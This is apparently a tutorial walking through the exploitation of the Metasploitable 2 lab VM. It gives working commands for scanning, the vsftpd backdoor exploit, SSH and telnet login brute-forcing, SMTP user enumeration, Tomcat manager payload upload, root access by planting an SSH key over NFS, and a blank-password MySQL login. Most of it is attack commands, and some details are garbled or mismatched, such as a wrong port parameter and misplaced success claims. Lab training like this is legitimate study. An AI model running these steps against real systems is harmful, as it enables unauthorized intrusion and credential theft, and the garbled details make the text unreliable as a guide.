Hacking Metasploit2
Hacking Metasploit2
The first step towards doing what we want to achieve is a service scan that looks at all the 65535
ports of Metasploitable 2 to see what’s running where and with what version. You will notice the
result in the image below.
nmap -p- -sV 192.168.1.103
Let’s put our findings to use and try to connect using FTP.
ftp 192.168.1.103
We now have our exploit, let’s get into Metasploit and run it.
This module exploits a malicious backdoor that was added to the VSFTPD download archive.
This backdoor was introduced into the vsftpd-2.3.4.tar.gz archive between June 30th, 2011 and
July 1st, 2011 according to the most recent information available. This backdoor was removed
on July 3rd, 2011.
msf > use exploit/unix/ftp/vsftpd_234_backdoor
msf exploit (unix/ftp/vsftpd_234_backdoor) > set rhost
192.168.1.103
msf exploit (unix/ftp/vsftpd_234_backdoor) > exploit
And as you can observe, we have owned the command shell of the remote machine.
Exploiting Port 22 SSH
Metasploit has an auxiliary function that we will use on the SSH service running on port 22. One
we get our session through it we will be upgrading it to Meterpreter.
This module will test ssh logins on a range of machines and report successful logins. If you have
loaded a database plugin and connected to a database this module will record successful logins
and hosts so you can track your access.
msf > use auxiliary/scanner/ssh/ssh_login
msf auxiliary (scanner/ssh/ssh_login) > set rhosts 192.168.1.103
msf auxiliary (scanner/ssh/ssh_login) > set user_file
/root/Desktop/user.txt
msf auxiliary (scanner/ssh/ssh_login) > set pass_file
/root/Desktop/pass.txt
msf auxiliary (scanner/ssh/ssh_login) > exploit
And as you can observe, again we have owned the command shell of the remote machine.
Success! It finds the right key pretty quick and gives the exact command to execute to get a
successful connection.
Exploiting port 23 TELNET (Credential Capture)
We are using Wireshark to capture the TCP traffic, it is set to run in the background while we
connect to Metasploitable 2 through telnet using “msfadmin” as credentials for user name and
password.
telnet 192.168.1.103
Once successfully connected we go back to Wireshark. Now we click the “TCP Stream” option
under Analyze > Follow. This shows us the login credentials in plain text.
Exploiting TELNET
This module will test a telnet login on a range of machines and report successful logins. If you
have loaded a database plugin and connected to a database this module will record successful
logins and hosts so you can track your access. The same password and user file from earlier will
be used for this.
msf > use auxiliary/scanner/telnet/telnet_login
msf auxiliary (scanner/telnet/telnet_login) > set rhosts
192.168.1.103
msf auxiliary (scanner/telnet/telnet_login) > set user_file
/root/Desktop/user.txt
msf auxiliary (scanner/telnet/telnet_login) > set pass_file
/root/Desktop/pass.txt
msf auxiliary (scanner/telnet/telnet_login) > set
stop_on_success true
msf auxiliary (scanner/telnet/telnet_login) > exploit
Port 25 SMTP User Enumeration
Kali comes with a tool called “Smtp-User-Enum”, it has multiple modes that deal with different
facets of SMTP, we will be using it to verify which SMTP usernames exist in victim machine.
We will see that the tool lets us know which all usernames exist that I have saved in my user.txt
file.
smtp-user-enum -M VRFY -U user.txt -t 192.168.1.103
The credentials work and we have a remote desktop session that pops up in Kali.
Access Port 2121 (ProFTPD)
We will connect to the target machine using Telnet running on port 2121 using the default
credentials for Metasplotable 2.
telnet 192.168.1.103 2121
Exploiting Port 8180 (Apache Tomcat)
We saw during the service scan that Apache Tomcat is running on port 8180. Incidentally,
Metasploit has an exploit for Tomcat that we can use to get a Meterpreter session. The exploit
uses the default credentials used by Tomcat to gain access.
This module can be used to execute a payload on Apache Tomcat servers that have an exposed
“manager” application. The payload is uploaded as a WAR archive containing a JSP application
using a POST request against the /manager/html/upload component. NOTE: The compatible
payload sets vary based on the selected target. For example, you must select the Windows target
to use native Windows payloads.
msf > use exploit/multi/http/tomcat_mgr_upload
msf exploit (multi/http/tomcat_mgr_upload) > set rhost
192.168.1.103
msf exploit (multi/http/tomcat_mgr_upload) > set rpost 8108
msf exploit (multi/http/tomcat_mgr_upload) > set httpusername
tomcat
msf exploit (multi/http/tomcat_mgr_upload) > set httppassword
tomcat
msf exploit (multi/http/tomcat_mgr_upload) > exploit
Privilege Escalation via Port 2049: NFS
In this method, we will be creating an ssh key without a passphrase and exchanging it with the
ssh key of the victim machine for the root user.
First, we use ssh-keygen to generate an RSA keypair without a key phrase, then we place it in the
“/root/.ssh” folder where the key is found by default. Once the key is created and placed, we will
create a directory “/tmp/sshkey/” in our local machine.
The next part is a little tricky, we will be mounting the directory we just made on the victim
machine using the Network File Sharing Function. Once mounted we write the key from our
machine to the victim’s machine, a sort of an override, using the cat command. The thing to keep
in mind here is that the key we have is without a passphrase so the after the override the key in
the victim machine is also without a passphrase, so when it is connected using ssh, it’s using a
blank password.
The key is now copied so we unmount the directory and connect as the root user using ssh.
showmount -e 192.168.1.103
ssh-keygen
mkdir /tmp/sshkey
mount -t nfs 192.168.1.103:/ /tmp/sshkey/
cat ~/ .ssh/id_rsa.pub >>/tmp/sshkey/root/.ssh/authorized_keys
umount /tmp/sshkey
ssh [email protected]
Exploiting Port 3306 (MYSQL)
The MySQL database in Metasploitable 2 has negligible security, we will connect to it using the
MySQL function of Kali by defining the username and host IP. The password will be left blank.
mysql -u root -h 192.168.1.103 -p